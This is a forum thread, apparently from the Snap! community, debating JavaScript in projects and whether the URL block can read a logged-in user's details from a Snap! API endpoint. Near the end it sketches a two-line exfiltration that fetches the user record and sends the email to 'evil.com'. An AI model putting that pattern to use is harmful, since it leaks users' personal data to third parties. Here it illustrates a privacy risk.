?????
The user should be able to see what JavaScript code is in the project before allowing JavaScript to be enabled.
yes, but the button on the project page would also show you the scripts.
bh please split your post and every post in this topic after it
(this one)
If the block does the turning on, then no. If the block just says "This project needs JS on, please turn it on" then you don't need us for that.
I think they mean "pop up a dialog box that says 'Do you want to enable JS?' and show the user the JS scripts(there would be yes and no buttons on the window.)"
We're going to have to think more about how to handle this. You JS lovers are eager to get that feature, but we also have to think about the (vastly more numerous) users who don't know or care about JS and would be confronted by a mass of (maybe obfuscated) JS code.
Much more likely is that, over time, if we see a lot of projects doing some particular thing in JS that can't be done in Snap!, we'd make it a primitive or a library.
SOOOOOOO many things
There are "SOOOOOOO many things" you can do in any programming language, including, for example, Snap!. I don't believe you've explored all of them.
Ok, let me give you an example, Snap! doesn't have a username block(I have no clue why) and with JS you can detect the user's username
Snap*!* doesn't have a username block
Yeah, you may recall that Scratch warns you before running a project that detects your username... it's kind of a privacy hole.
But you can already easily get the username with the URL block:
[scratchblocks]url[https://snap.berkeley.edu/api/v1/users/c]::sensing reporter[/scratchblocks]
No warning message in sight.
Hmm, you learn something every day. That tells you your username? How does it know?
It accesses a Snap! API page that gives some information about the currently logged in user, which includes your verified status, username, and user ID. There's also a slightly more complicated method which can get the user's join date, project count, and email address. (All with the url block.)
Hmm that's wrong. Especially the email part.
That's the problem. You need to run projects on a separate domain.
I know it was changed, because the email used to be stored here https://snap.berkeley.edu/api/v1/users/c
, but I guess they just moved it to some other part of the api.
In user.lua:
user = function (self)
-- GET /users/:username
-- Description: Get info about a user
if not users_match(self) then assert_admin(self) end
return jsonResponse(
db.query(
[[SELECT
users.username, users.created, users.role, users.email,/*whoops email*/
users.verified, users.id, count(projects.projectname)
AS project_count
FROM active_users AS users
LEFT JOIN active_projects AS projects
ON projects.username = users.username
WHERE users.username = ?
GROUP BY
users.username, users.created, users.role, users.email,
users.verified, users.id]],
self.params.username
)[1]
)
end,
I know it was changed, because the email used to be stored here
https://snap.berkeley.edu/api/v1/users/c
, but I guess they just moved it to some other part of the api.
/c
has never returned an email.
OTOH, this gives information about the currently logged in user, so I can't see the security breach anywhere. It's a way for Snap! to verify who's logged in.
In user.lua:
Read the assert above, will you? If you're asking this about a user that's not yourself, then you need to be an admin to get it.
The /user
call gives you back all user info, but only about your user. If you think reading back your own email is a security breach, then I don't know what to tell you.
[rant]
Now that JS functions are behind a setting are you all trying to break the cloud using the URL block? I wish people put as much effort into learning actual computer science with Snap!...
[/rant]
If you think reading back your own email is a security breach
you all trying to break the cloud using the URL block
If you think reading back your own email is a security breach
In theory, a project could read a user's email and send it to a remote server.
Something like
GET /api/v1/users/c
GET evil.com/email/<email>
This topic was automatically closed 30 days after the last reply. New replies are no longer allowed.